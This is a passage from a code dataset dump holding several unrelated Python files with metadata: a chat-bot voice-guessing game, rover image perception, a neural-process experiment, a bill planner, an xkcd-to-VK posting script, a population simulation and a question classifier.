os.path.isdir(item_path):\n ret_list.extend(gen_voice_list(item_path))\n elif item.endswith(\"mp3\"):\n voice_path = os.path.relpath(item_path, voice_dir)\n ret_list.append({\"voice_name\": item, \"voice_path\": voice_path})\n else:\n continue\n return ret_list\n\n\n@sv.on_rex(r\"^(崩坏?|bh|bbb|崩崩崩)(3|三)?猜语音\")\nasync def guess_voice(bot: HoshinoBot, ev: CQEvent):\n msg = str(ev.message.extract_plain_text().strip())\n if re.search(r\"2|困难\", msg):\n difficulty = \"hard\"\n else:\n difficulty = \"normal\"\n game = GameSession(ev.group_id)\n ret = await game.start(difficulty=difficulty)\n await bot.send(ev, ret)\n\n\n@sv.on_message()\nasync def check_answer(bot, ev: CQEvent):\n game = GameSession(ev.group_id)\n if not game.is_start:\n return\n msg = ev.message.extract_plain_text().strip()\n msg = msg.lower().replace(\",\", \"和\").replace(\",\", \"和\")\n await game.check_answer(msg, ev.user_id)\n\n\n@sv.on_rex(r\"^(崩坏?|bh|bbb|崩崩崩)(3|三)?语音([^:]+)$\")\nasync def send_voice(bot: HoshinoBot, ev: CQEvent):\n msg = ev[\"match\"].group(3)\n uid = ev.user_id\n if not flmt.check(uid):\n await bot.send(\n ev,\n f\"{FN}s内只能获取一次语音,请{int(flmt.left_time(uid))}s后再试。\",\n at_sender=True,\n )\n return\n a_list = GameSession.__load__(\"answer.json\")\n assert isinstance(a_list, dict)\n for k, v in a_list.items():\n if msg in v:\n try:\n v_list = GameSession.__load__()[\"normal\"][k]\n except KeyError:\n await bot.send(ev,f\"语音列表未生成或有错误,请先发送‘更新崩坏3语音列表’来更新\")\n voice = random.choice(v_list)\n voice_path = f\"file:///{os.path.join(os.path.dirname(__file__),'../assets/record',voice['voice_path'])}\"\n await bot.send(ev, MessageSegment.record(voice_path))\n flmt.start_cd(uid)\n return\n await bot.send(ev, f\"没找到【{msg}】的语音,请检查输入。\", at_sender=True)\n\n\n@sv.on_rex(r\"^(崩坏?|bh|bbb|崩崩崩)(3|三)?语音新增答案(\\w+)[:|:](\\w+)$\")\nasync def add_answer(bot: HoshinoBot, ev: CQEvent):\n if not priv.check_priv(ev, priv.SU):\n return\n origin = ev[\"match\"].group(3)\n new = ev[\"match\"].group(4)\n data = GameSession.__load__(\"answer.json\")\n if origin not in data:\n await bot.send(ev,f\"{origin}不存在。\")\n return\n if new in data[origin]:\n await bot.send(ev,f\"答案已存在。\")\n return\n data[origin].append(new)\n with open(\n os.path.join(os.path.dirname(__file__), \"answer.json\"), \"w\", encoding=\"utf8\"\n ) as f:\n json.dump(data, f, ensure_ascii=False, indent=4)\n await bot.send(ev, \"添加完成。\")\n\n\n@sv.on_rex(r\"^更新(崩坏?|bh|bbb|崩崩崩)(3|三)?语音列表$\")\nasync def update_voice_list(bot: HoshinoBot, ev: CQEvent):\n if not priv.check_priv(ev, priv.SU):\n return\n data = gen_voice_list()\n data_dict = split_voice_by_chara(data)\n with open(\n os.path.join(os.path.dirname(__file__), \"record.json\"), \"w\", encoding=\"utf8\"\n ) as f:\n json.dump(data_dict, f, indent=4, ensure_ascii=False)\n num_normal = sum(len(data_dict[\"normal\"][v]) for v in data_dict[\"normal\"])\n num_hard = sum(len(data_dict[\"hard\"][v]) for v in data_dict[\"hard\"])\n await bot.send(\n ev, f\"崩坏3语音列表更新完成,当前共有语音{num_hard+num_normal}条,其中普通{num_normal}条,困难{num_hard}条\"\n )\n\n\nif __name__ == \"__main__\":\n data = gen_voice_list()\n with open(\n os.path.join(os.path.dirname(__file__), \"record.json\"), \"w\", encoding=\"utf8\"\n ) as f:\n json.dump(split_voice_by_chara(data), f, indent=4, ensure_ascii=False)\n","repo_name":"chingkingm/honkai_mys","sub_path":"guess_voice/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5158,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"7"} +{"seq_id":"21853491832","text":"import numpy as np\nimport cv2\n\n# Identify pixels above the threshold\n# Threshold of RGB > 160 does a nice job of identifying ground pixels only\ndef color_thresh(img, rgb_thresh=(160, 160, 160)):\n # Create an array of zeros same xy size as img, but single channel\n color_select = np.zeros_like(img[:,:,0])\n # Require that each pixel be above all three threshold values in RGB\n # above_thresh will now contain a boolean array with \"True\"\n # where threshold was met\n above_thresh = (img[:,:,0] > rgb_thresh[0]) \\\n & (img[:,:,1] > rgb_thresh[1]) \\\n & (img[:,:,2] > rgb_thresh[2])\n # Index the array of zeros with the boolean array and set to 1\n color_select[above_thresh] = 1\n # Return the binary image\n return color_select\n\n# Identify yellow rock sample\ndef color_thresh_rock(img):\n # yellow_hsv = [30,255,255] # H is 0-179 degree not 360\n # convert RGB image to HSV image\n hsv = cv2.cvtColor(img,cv2.COLOR_RGB2HSV)\n # define lowerbound and upperbound for yellow color\n lower_yellow = np.array([20,100,100])\n upper_yellow = np.array([40,255,255])\n # detect color in image by masking pixels\n mask = cv2.inRange(hsv,lower_yellow,upper_yellow)\n result = cv2.bitwise_and(img,img,mask = mask)\n # convert result to binary\n binary_result = color_thresh(result,(0,0,0))\n # return binary result\n return binary_result\n\n# Define a function to convert to rover-centric coordinates\ndef rover_coords(binary_img):\n # Identify nonzero pixels\n ypos, xpos = binary_img.nonzero()\n # Calculate pixel positions with reference to the rover position being at the \n # center bottom of the image. \n x_pixel = np.absolute(ypos - binary_img.shape[0]).astype(np.float)\n y_pixel = -(xpos - binary_img.shape[0]).astype(np.float)\n return x_pixel, y_pixel\n\n\n# Define a function to convert to radial coords in rover space\ndef to_polar_coords(x_pixel, y_pixel):\n # Convert (x_pixel, y_pixel) to (distance, angle) \n # in polar coordinates in rover space\n # Calculate distance to each pixel\n dists = np.sqrt(x_pixel**2 + y_pixel**2)\n # Calculate angle away from vertical for each pixel\n angles = np.arctan2(y_pixel, x_pixel)\n return dists, angles\n\n# Define a function to apply a rotation to pixel positions\ndef rotate_pix(xpix, ypix, yaw):\n # Convert yaw to radians\n yaw_rad = yaw * np.pi / 180\n # Apply a rotation\n xpix_rotated = (xpix * np.cos(yaw_rad)) - (ypix * np.sin(yaw_rad)) \n ypix_rotated = (xpix * np.sin(yaw_rad)) + (ypix * np.cos(yaw_rad))\n # Return the result \n return xpix_rotated, ypix_rotated\n\n# Define a function to perform a translation\ndef translate_pix(xpix_rot, ypix_rot, xpos, ypos, scale): \n # Apply a scaling and a translation\n xpix_translated = (xpix_rot / scale) + xpos\n ypix_translated = (ypix_rot / scale) + ypos\n # Return the result \n return xpix_translated, ypix_translated\n\n# Define a function to apply rotation and translation (and clipping)\n# Once you define the two functions above this function should work\ndef pix_to_world(xpix, ypix, xpos, ypos, yaw, world_size, scale):\n # Apply rotation\n xpix_rot, ypix_rot = rotate_pix(xpix, ypix, yaw)\n # Apply translation\n xpix_tran, ypix_tran = translate_pix(xpix_rot, ypix_rot, xpos, ypos, scale)\n # Perform rotation, translation and clipping all at once\n x_pix_world = np.clip(np.int_(xpix_tran), 0, world_size - 1)\n y_pix_world = np.clip(np.int_(ypix_tran), 0, world_size - 1)\n # Return the result\n return x_pix_world, y_pix_world\n\n# Define a function to perform a perspective transform\ndef perspect_transform(img, src, dst):\n # obatin a perspective transform matrix\n M = cv2.getPerspectiveTransform(src, dst)\n # transform\n warped = cv2.warpPerspective(img, M, (img.shape[1], img.shape[0]))# keep same size as input image\n return warped\n\n# Apply the above functions in succession and update the Rover state accordingly\ndef perception_step(Rover):\n # Perform perception steps to update Rover()\n # TODO: \n # NOTE: camera image is coming to you in Rover.img\n # 1) Define source and destination points for perspective transform\n dst_size = 5 \n bottom_offset = 6\n source = np.float32([[14, 140], [301 ,140],[200, 96], [118, 96]])\n destination = np.float32([[Rover.img.shape[1]/2 - dst_size, Rover.img.shape[0] - bottom_offset],\n [Rover.img.shape[1]/2 + dst_size, Rover.img.shape[0] - bottom_offset],\n [Rover.img.shape[1]/2 + dst_size, Rover.img.shape[0] - 2*dst_size - bottom_offset], \n [Rover.img.shape[1]/2 - dst_size, Rover.img.shape[0] - 2*dst_size - bottom_offset],\n ])\n\n # 2) Apply perspective transform to input image\n warped_navigable = perspect_transform(Rover.img,source,destination)\n warped_rock = warped_navigable\n\n # 3) Apply color threshold to identify navigable terrain/obstacles/rock samples\n threshed_navigable = color_thresh(warped_navigable)\n threshed_obstacle = 1-threshed_navigable # binary invert\n threshed_rock = color_thresh_rock(warped_rock)\n\n\n # 4) Update Rover.vision_image (this will be displayed on left side of screen)\n # Example: Rover.vision_image[:,:,0] = obstacle color-thresholded binary image\n # Rover.vision_image[:,:,1] = rock_sample color-thresholded binary image\n # Rover.vision_image[:,:,2] = navigable terrain color-thresholded binary image\n Rover.vision_image[:,:,0] = threshed_obstacle*255 # full red\n Rover.vision_image[:,:,1] = threshed_rock*255 \n Rover.vision_image[:,:,2] = threshed_navigable*255 # full blue\n\n #-----------------------------------------------------------------------------------\n # Perspective transform is distorted when the distance (respect to the rover) is far away. \n # So only near vision will be added to world map (crop for inside vision)\n # This help increase Fidelity\n threshed_navigable_crop = np.zeros_like(threshed_navigable)\n threshed_obstacle_crop = np.zeros_like(threshed_obstacle)\n x1 = np.int(threshed_navigable.shape[0]/2) # index of start row \n x2 = np.int(threshed_navigable.shape[0]) # index of end row\n y1 = np.int(threshed_navigable.shape[1]/3) # index of start column\n y2 = np.int(threshed_navigable.shape[1]*2/3) # index of end column\n # crop from start to end row/column\n threshed_navigable_crop[x1:x2, y1:y2] = threshed_navigable[x1:x2, y1:y2]\n threshed_obstacle_crop[x1:x2, y1:y2]= threshed_obstacle[x1:x2, y1:y2]\n #-----------------------------------------------------------------------------------\n\n # 5) Convert map image pixel values to rover-centric coords\n # Full coordinates will use to find steering direction\n xpix_nav, ypix_nav = rover_coords(threshed_navigable)\n xpix_obs, ypix_obs = rover_coords(threshed_obstacle)\n xpix_rock, ypix_rock = rover_coords(threshed_rock)\n # Only the near-vision coordinates will be added to the world map\n # Adding full coordinate pixels will decrease Fidelity\n xpix_nav_crop, ypix_nav_crop = rover_coords(threshed_navigable_crop)\n xpix_obs_crop, ypix_obs_crop = rover_coords(threshed_obstacle_crop)\n \n # 6) Convert rover-centric pixel values to world coordinates\n xpix_world_nav, ypix_world_nav = pix_to_world(xpix_nav_crop, ypix_nav_crop, Rover.pos[0], Rover.pos[1], Rover.yaw, Rover.worldmap.shape[0], scale = 10)\n xpix_world_obs, ypix_world_obs = pix_to_world(xpix_obs_crop, ypix_obs_crop, Rover.pos[0], Rover.pos[1], Rover.yaw, Rover.worldmap.shape[0], scale = 10)\n xpix_world_rock, ypix_world_rock = pix_to_world(xpix_rock, ypix_rock, Rover.pos[0], Rover.pos[1], Rover.yaw, Rover.worldmap.shape[0], scale = 10)\n\n # 7) Update Rover worldmap (to be displayed on right side of screen)\n # Example: Rover.worldmap[obstacle_y_world, obstacle_x_world, 0] += 1\n # Rover.worldmap[rock_y_world, rock_x_world, 1] += 1\n # Rover.worldmap[navigable_y_world, navigable_x_world, 2] += 1\n # Update world map only if the rover is flat to the ground (pitch and roll ~ 0 +- 3 degrees) to have a correct vision \n if (np.float(np.abs(Rover.roll) % 360) <= 3) and (np.float(np.abs(Rover.pitch) % 360) <= 3):\n Rover.worldmap[ypix_world_obs, xpix_world_obs, 0] += 1\n Rover.worldmap[ypix_world_rock, xpix_world_rock, 1] += 1\n Rover.worldmap[ypix_world_nav, xpix_world_nav, 2] += 1\n\n # 8) Convert rover-centric pixel positions to polar coordinates\n # Update Rover pixel distances and angles\n # Rover.nav_dists = rover_centric_pixel_distances\n # Rover.nav_angles = rover_centric_angles\n\n # Set priority of picking up sample to be higher than navigating\n # if the sample is in vision, go pick it up first\n if (xpix_rock.any() or Rover.mode == 'goto_rock'):\n # Entering 'go-to-sample mode'\n if (Rover.mode != 'goto_rock'):\n Rover.mode = 'goto_rock'\n # if the sameple is in vision, set perception for navigating to the sample\n if (xpix_rock.any()):\n Rover.nav_dists, Rover.nav_angles = to_polar_coords(xpix_rock,ypix_rock)\n Rover.see_rock_error = 0\n # sometimes might mistakenly see the rock\n # Rover.see_rock_error is a commulative frame counter that rover might mistakenly see the sample\n else:\n Rover.see_rock_error += 1;\n # if mistakenly enter 'goto_rock' mode, and no longer see the sample, exit this mode\n if Rover.see_rock_error > 100:\n Rover.mode = 'stop'\n # if do not see any rock, set perception for a normal navigation\n else:\n Rover.nav_dists, Rover.nav_angles = to_polar_coords(xpix_nav,ypix_nav)\n\n\n return Rover","repo_name":"fufuengsin/RoboND-Rover-Project","sub_path":"code/perception.py","file_name":"perception.py","file_ext":"py","file_size_in_byte":9813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"21737593180","text":"from src.neuralprocesses import NeuralProcessParams, split_context_target\nfrom src.neuralprocesses.network import encoder_h, decoder_g, xy_to_z_params\nfrom src.neuralprocesses.process import init_neural_process\nfrom src.neuralprocesses.predict import posterior_predict\nimport numpy as np\nimport random\nimport matplotlib.pyplot as plt\n\nimport tensorflow as tf\n\n\n#=========================================================\n# INITIALISATION\n\n# Initial setup\nparams = NeuralProcessParams(dim_r=2, dim_z=2, n_hidden_units_h=[64, 64], n_hidden_units_g=[64, 64, 64],\n noise_std=0.05)\n\ntf.reset_default_graph()\nsess = tf.Session()\n\n# Placeholders for training inputs\nx_context = tf.placeholder(tf.float32, (None, 1))\ny_context = tf.placeholder(tf.float32, (None, 1))\nx_target = tf.placeholder(tf.float32, (None, 1))\ny_target = tf.placeholder(tf.float32, (None, 1))\n\n# Set up NN\ntrain_op, loss = init_neural_process(x_context, y_context, x_target, y_target,\n params, encoder_h, decoder_g, learning_rate=0.001)\n\n# Initialise\ninit = tf.global_variables_initializer()\nsess.run(init)\n\nn_iter = 500000\nloss_freq = n_iter/10\nn_obs = 100\nq_low = 0.001\nq_high = 20\np_low = -20\np_high = 20\nx_range_low = -5\nx_range_high = 5\nq_pred = 10\np_pred = 2\n\n#=========================================================\n# TRAINING\n\ntrain_xs = []\ntrain_q = []\ntrain_ys = []\ntrain_p = []\n\nfor i in range(n_iter):\n xs = np.random.uniform(x_range_low, x_range_high, n_obs)\n q = random.uniform(q_low, q_high)\n p = random.uniform(p_low, p_high)\n ys = q * (xs)**2 + p\n\n train_xs.append(xs)\n train_q.append(q)\n train_p.append(p)\n train_ys.append(ys)\n\n n_context = random.choice(range(50,70))\n feed_dict = split_context_target(xs.reshape(-1, 1), ys.reshape(-1, 1), n_context, x_context, y_context, x_target,\n y_target)\n a = sess.run((train_op, loss), feed_dict=feed_dict)\n if i % loss_freq == 0:\n print(\"Loss: {:.3f}\".format(a[1]))\n\n\n#=========================================================\n# PLOTTING PREDICTIONS\n\nxs = np.random.uniform(x_range_low, x_range_high, 5)\nys = q_pred * (xs)**2 + p_pred\nx_star = np.linspace(x_range_low, x_range_high, 100)\ny_star = q_pred * (x_star)**2 + p_pred\n\ndef plot_prediction(ax, xs, ys, x_star, y_star, plot_true = True, xlim = (-4.5, 4.5), ylim=(-1.5, 1.5), sess= tf.get_default_session()):\n posterior_predict_op = posterior_predict(\n xs.reshape((-1,1)),\n ys.reshape((-1,1)),\n x_star.reshape((-1,1)),\n params, encoder_h, decoder_g, n_draws=50)\n y_star_mat = sess.run(posterior_predict_op.mu)\n\n for i in range(y_star_mat.shape[1]):\n ax.plot(x_star, y_star_mat.T[i], c='b', alpha=0.1)\n if plot_true:\n ax.plot(x_star, y_star, c='r', alpha=.5)\n ax.scatter(xs, ys, c='r')\n ax.set_xlim(xlim)\n ax.set_ylim(ylim)\n\nfig, axes = plt.subplots(3, 1, figsize=(5,5))\nxss = [np.array(xs) for xs in [[3], [1, 3], [-2, -1, 0, 1, 2]]]\nyss = [q_pred * (xs)**2 + p_pred for xs in xss]\nplot_true = False\nylim=(-30, 30)\nfor ax, xs, ys in zip(axes, xss, yss):\n plot_prediction(ax, xs, ys, x_star, y_star, plot_true = plot_true, ylim = ylim, sess=sess)\n plot_true = True\n ylim=(-30, 30)\n\nplt.show()\n\n\n\n\n\n\n","repo_name":"OxWaSP2018/neural_processes","sub_path":"experiments/Ana/convex_fns.py","file_name":"convex_fns.py","file_ext":"py","file_size_in_byte":3294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"12887361372","text":"import datetime\r\nimport os\r\nimport pickle\r\nimport csv\r\nimport finances\r\n\r\ndef saveToFile(theObjectToSave):\r\n \"\"\"\r\n Allows the user to save objects, such as Income, Debt, Bill, etc...\r\n :param theObjectToSave:\r\n :return:\r\n \"\"\"\r\n foldername = str(theObjectToSave.__class__)\r\n foldername = foldername.split(\".\")[-1][:-2] + \"s\" #grabs the last word, being the name of the class, appended by an 's'\r\n filename = \"Data\\\\\" + foldername + \"\\\\\" + theObjectToSave.myName + \".txt\"\r\n os.makedirs(os.path.dirname(filename), exist_ok=True)\r\n with open(filename, \"wb\") as f:\r\n pickle.dump(theObjectToSave, f, pickle.HIGHEST_PROTOCOL)\r\n\r\ndef openFile(theFilePath):\r\n \"\"\"\r\n Allows the user to load the previously saved object back into data.\r\n :param theFilePath: the filepath of the file you wish to open\r\n :return: the object that is loaded\r\n \"\"\"\r\n os.makedirs(os.path.dirname(theFilePath), exist_ok=True)\r\n with open(theFilePath, \"rb\") as f:\r\n return pickle.load(f)\r\n\r\ndef deleteFile(theObjectToDelete):\r\n \"\"\"\r\n Allows the user to delete currently saved files\r\n :param theObjectToDelete:\r\n :return:\r\n \"\"\"\r\n foldername = str(theObjectToDelete.__class__)\r\n #Always retrieves the leaf class\r\n foldername = foldername.split(\".\")[-1][:-2]\r\n filename = foldername + \"\\\\\" + theObjectToDelete.name + \".txt\"\r\n try:\r\n os.remove(filename)\r\n except:\r\n print(\"Delete failed...\")\r\n\r\ndef printReportToCSV(listToPrint):\r\n with open(\"Bill Report.csv\", \"w\") as file:\r\n wr = csv.writer(file, dialect='excel')\r\n wr.writerows(listToPrint)\r\n\r\ndef sandbox():\r\n \"\"\"\r\n where inline testing happens\r\n :return:\r\n \"\"\"\r\n # testIncome = inputAnIncome()\r\n\r\n incomes = []\r\n\r\n incomes.append(finances.Income(\"O'Blaneys\", [14], 1100, datetime.date(2018, 3, 23)))\r\n incomes.append(finances.Income(\"Jackie's BBQ Pit\", [7, 22], 1100, datetime.date(2018, 3, 22)))\r\n\r\n saveToFile(incomes[0])\r\n saveToFile(incomes[1])\r\n\r\n for income in incomes:\r\n saveToFile(income)\r\n\r\n\r\n bills = []\r\n\r\n bills.append(finances.Bill(\"Phone Bill\", 9, datetime.date(2018, 5, 9), -120))\r\n bills.append(finances.Bill(\"Rent\", 1, datetime.date(2018,6,1), -500))\r\n bills.append(finances.Bill(\"Avlis Student Loan\", 6, datetime.date(2018,6,6), -200))\r\n bills.append(finances.Bill(\"Rohan Car Loan\", 6, datetime.date(2018, 5, 6), -226))\r\n bills.append(finances.Bill(\"Upstart Loan\", 18, datetime.date(2018,5,18), -700))\r\n bills.append(finances.Bill(\"Avlis Car Loan\", 19, datetime.date(2018,5,19), -260))\r\n bills.append(finances.Bill(\"Rohan Student Loan\", 20, datetime.date(2018,5,20), -300))\r\n\r\n for bill in bills:\r\n saveToFile(bill)\r\n\r\n\r\n toprint = finances.generateBalancedBillReport(datetime.date(2018, 1, 1), datetime.date(2018, 12, 31), bills, incomes)\r\n printReportToCSV(toprint)\r\n\r\ndef main():\r\n sandbox()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"artspade/PyPaycheckPlanner","sub_path":"PyPaycheckPlanner/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"9953488807","text":"from sqlite3 import Connection\nfrom dataclasses import dataclass\n\nclass DataSolver:\n @staticmethod\n def resolve_integers_list(convergence: str) -> list[int]:\n return [ int(value) for value in convergence.split(',') ]\n\n @staticmethod\n def resolve_floats_list(convergence: str) -> list[float]:\n return [ float(value) for value in convergence.split(',') ]\n\n @staticmethod\n def resolve_crossover_name(crossover_id: int) -> str:\n if crossover_id == 0:\n return 'Uniforme'\n elif crossover_id == 1:\n return 'Um-ponto'\n elif crossover_id > 1:\n return f'{int(crossover_id)}-pontos'\n else:\n raise ValueError('Impossible resolve the name of crossover operator')\n\n\n@dataclass\nclass SteinerTreeData:\n \"\"\"\n DataClass for Steiner tree executions rows in table\n \"\"\"\n num_steiner_nodes: int\n steiner_nodes: list[int]\n total_costs: int\n convergence: list[int]\n\n @staticmethod\n def from_table(con: Connection):\n \"\"\"\n Create a list of Steiner tree rows objects from a table in database file\n \"\"\"\n data = []\n cur = con.cursor()\n \n for tup in cur.execute(\n '''SELECT num_steiner_nodes, steiner_nodes, total_costs, convergence \n FROM steiner_executions'''):\n nodes = DataSolver.resolve_integers_list(tup[1])\n convergence = DataSolver.resolve_integers_list(tup[3])\n s = SteinerTreeData(tup[0], nodes, tup[2], convergence)\n data.append(s)\n pass\n\n cur.close()\n return data\n\n\ndef resolve_convergence(convergence: str) -> list[int]:\n return DataSolver.resolve_integers_list(convergence)\n\n","repo_name":"ropinho/crossover-study","sub_path":"scripts/plotting/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"43744865212","text":"import datetime\n\ntoday = datetime.date.today()\nmy_birthday = datetime.date(2022, 7, 21)\n\n# How many days until my birthday?\ndays_remaining_until_birthday = my_birthday - today\n\ndelta_date = datetime.timedelta(days=20)\nprint(today + delta_date)\n\ntoday_string = \"2020-12-04\"\n\ndate_object = datetime.date.fromisoformat(today_string)\nprint(date_object)","repo_name":"tharwin-carr/udemy-python-tutorial","sub_path":"DateTime/datetime_assignment.py","file_name":"datetime_assignment.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"42632178942","text":"import os\nimport random\nfrom pathlib import Path\n\nimport requests\nfrom dotenv import load_dotenv\n\n\ndef check_error_in_vk_response(vk_response):\n if 'error' in vk_response:\n raise requests.exceptions.RequestException\n\n\ndef get_random_comic_url():\n comic_response = requests.get('https://xkcd.com/info.0.json')\n comic_response.raise_for_status()\n comics_amount = comic_response.json()['num']\n comic_num = random.randint(1, comics_amount)\n comic_url = f'https://xkcd.com/{comic_num}/info.0.json'\n return comic_url\n\n\ndef get_full_image_path(url, image_folder):\n \"\"\"\n return full image path\n \"\"\"\n filename = os.path.basename(url)\n full_image_path = f'{image_folder}/{filename}'\n return full_image_path\n\n\ndef parse_image_info(comic_url):\n \"\"\"\n get comic url\n and author comment from response\n \"\"\"\n comic_response = requests.get(url=comic_url)\n comic_response.raise_for_status()\n comic_data = comic_response.json()\n image_url = comic_data['img']\n comment_to_image = comic_data['alt']\n image_info = {\n 'image_url': image_url,\n 'author_comment': comment_to_image,\n }\n return image_info\n\n\ndef download_image(image_url, image_path):\n \"\"\"\n get image and\n saving it into folder\n \"\"\"\n image_response = requests.get(url=image_url)\n image_response.raise_for_status()\n with open(image_path, 'wb') as file:\n file.write(image_response.content)\n\n\ndef send_image_to_group(group_id, vk_token):\n \"\"\"\n send image to your vk group\n \"\"\"\n vk_wallaper_url = 'https://api.vk.com/method/photos.getWallUploadServer'\n params = {\n 'access_token': vk_token,\n 'group_id': group_id,\n 'v': '5.81',\n }\n response = requests.get(\n url=vk_wallaper_url,\n params=params,\n )\n response.raise_for_status()\n response_data = response.json()\n check_error_in_vk_response(\n vk_response=response_data,\n )\n return response_data['response']['upload_url']\n\n\ndef send_image_to_wall(image_url, vk_token, image_path):\n \"\"\"\n sending image to users wall\n \"\"\"\n params = {\n 'access_token': vk_token,\n 'v': '5.81',\n }\n with open(image_path, 'rb') as comic:\n files = {'photo': comic}\n response = requests.post(\n url=image_url,\n params=params,\n files=files,\n )\n response.raise_for_status()\n return response.json()\n\n\ndef save_image_to_group(image_hash, photo, image_server, vk_token, group_id):\n \"\"\"\n saving image to the group\n \"\"\"\n saving_url = 'https://api.vk.com/method/photos.saveWallPhoto'\n params = {\n 'access_token': vk_token,\n 'v': '5.81',\n 'hash': image_hash,\n 'server': image_server,\n 'photo': photo,\n 'group_id': group_id,\n }\n response = requests.post(\n url=saving_url,\n params=params\n )\n response.raise_for_status()\n response_data = response.json()\n check_error_in_vk_response(\n vk_response=response_data,\n )\n return response_data['response'][0]\n\n\ndef publish_image_on_wall(group_id, message, vk_token, attachments):\n \"\"\"\n sending image on the group wall\n \"\"\"\n publish_url = 'https://api.vk.com/method/wall.post'\n params = {\n 'access_token': vk_token,\n 'v': '5.81',\n 'owner_id': '-' + group_id,\n 'from_group': 1,\n 'message': message,\n 'attachments': attachments,\n }\n response = requests.get(\n url=publish_url,\n params=params,\n )\n response.raise_for_status()\n response_data = response.json()\n check_error_in_vk_response(\n vk_response=response_data,\n )\n return response_data\n\n\ndef main():\n load_dotenv()\n photos_path = os.environ.get(\n 'IMAGES_PATH',\n 'comics',\n )\n Path(photos_path).mkdir(\n parents=True,\n exist_ok=True,\n )\n comic_url = get_random_comic_url()\n image_info = parse_image_info(comic_url=comic_url)\n image_url = image_info['image_url']\n author_comment = image_info['author_comment']\n full_image_path = get_full_image_path(\n url=image_url,\n image_folder=photos_path,\n )\n download_image(\n image_url=image_url,\n image_path=full_image_path,\n )\n vk_token = os.getenv('VK_ACCESS_TOKEN')\n group_id = os.getenv('VK_GROUP_ID')\n try:\n image_url = send_image_to_group(\n group_id=group_id,\n vk_token=vk_token,\n )\n except requests.exceptions.RequestException:\n return None\n try:\n image_info = send_image_to_wall(\n image_url=image_url,\n vk_token=vk_token,\n image_path=full_image_path,\n )\n finally:\n os.remove(full_image_path)\n server = image_info['server']\n photo = image_info['photo']\n image_hash = image_info['hash']\n try:\n image_response = save_image_to_group(\n image_hash=image_hash,\n photo=photo,\n image_server=server,\n vk_token=vk_token,\n group_id=group_id,\n )\n except requests.exceptions.RequestException:\n return None\n owner_id = image_response['owner_id']\n media_id = image_response['id']\n attachments = f'photo{owner_id}_{media_id}'\n try:\n publish_image_on_wall(\n group_id=group_id,\n message=author_comment,\n vk_token=vk_token,\n attachments=attachments,\n )\n except requests.exceptions.RequestException:\n return None\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"trader-daniil/comics_publishing","sub_path":"uploading_images.py","file_name":"uploading_images.py","file_ext":"py","file_size_in_byte":5596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1809199078","text":"import math\n\njackalopes = [ 0, 0]\n \ndef one_year(index,age): #adds 1 year\n jackalopes[index] = age + 1\n\ndef birth(birthing_age,age): #finds population capable of birth\n age += 1\n if age in range(4,9):\n return birthing_age + 1 \n else:\n return birthing_age\n\nbirthing_age = 0\nnew_pop = 1\nyear = 1\n\nwhile len(jackalopes) <= 1000: #population loop\n birthing_age = 0\n new_pop = 1\n for index,age in enumerate(jackalopes): #finds population capable of birth\n one_year(index,age)\n birthing_age = birth(birthing_age,age)\n\n while 10 in jackalopes: #removes all at age 10\n for index,age in enumerate(jackalopes):\n if age >= 10:\n jackalopes.pop(index)\n\n while new_pop <= birthing_age: #adds new population to end of list\n jackalopes.append(0)\n new_pop += 1\n\n year += 1\n\n\nprint(year)","repo_name":"PdxCodeGuild/class_orchid","sub_path":"code/mobs/jackalopez/lab07.py","file_name":"lab07.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"34919069370","text":"\"\"\"\nThis module implements a machine learning classifier that is able to predict a relation\ngiven a question. It is built on top of a LSTMSentenceClassifier.\n\"\"\"\nimport os\nfrom nltk import word_tokenize\nimport pickle\nfrom ConfusionMatrix import ConfusionMatrix\nimport LSTMSentenceClassifier as lstm\nfrom LSTMSentenceClassifier import LSTMSentenceClassifier\nfrom Utilities import random_plit\nimport DataAccessManager\nfrom math import floor\nfrom Settings import TMP_QC_PREFIX\n\ndef _extract_question_relation_pairs(jdata):\n \"\"\"\n Take the 'question' and 'relation' fields for each data entry in the given dataset.\n Also, the question is tokenized as list of words.\n\n Parameters:\n -----------\n - jdata: list of KBS data entries.\n \n Returns:\n --------\n A pair X, Y where X is a list of tokenized questions and Y is a list of relations.\n \"\"\"\n X, Y = list(), list()\n for d in jdata:\n question = d['question']\n Y.append(d['relation'])\n tokenized = word_tokenize(question)\n X.append(tokenized)\n return X, Y\n\ndef _build_training_validation_test_sets(verbose=1):\n \"\"\"\n Create training, test and validation sets to build and test the model, using the\n local dump of the Knowledge Base System. Files are written on the temp folder.\n\n Parameters:\n -----------\n - `verbose`: if 1, the function prints debug information.\n \n Returns:\n --------\n Nothing\n \"\"\"\n # First, we split the dataset, then process each split.\n\n # if the datasets don't exist already\n if not(os.path.isfile(TMP_QC_PREFIX + \"x_training.bin\")):\n\n # if the unprocessed data splits are present\n if os.path.isfile(TMP_QC_PREFIX + 'unprocessed_test.bin'):\n \n unprocessed_training = pickle.load(open(TMP_QC_PREFIX + 'unprocessed_training.bin', 'rb'))\n unprocessed_test = pickle.load(open(TMP_QC_PREFIX + 'unprocessed_test.bin', 'rb'))\n unprocessed_dev = pickle.load(open(TMP_QC_PREFIX + 'unprocessed_dev.bin', 'rb'))\n \n else: # we need to create the split\n # load the full dataset\n jdata = DataAccessManager.load_knowledge_base_dump()\n jdata, other = random_plit(jdata, 0.33)\n unprocessed_training, other = random_plit(jdata, 0.5)\n unprocessed_test, unprocessed_dev = random_plit(other, 0.25)\n pickle.dump(unprocessed_training, open(TMP_QC_PREFIX + 'unprocessed_training.bin', 'wb'))\n 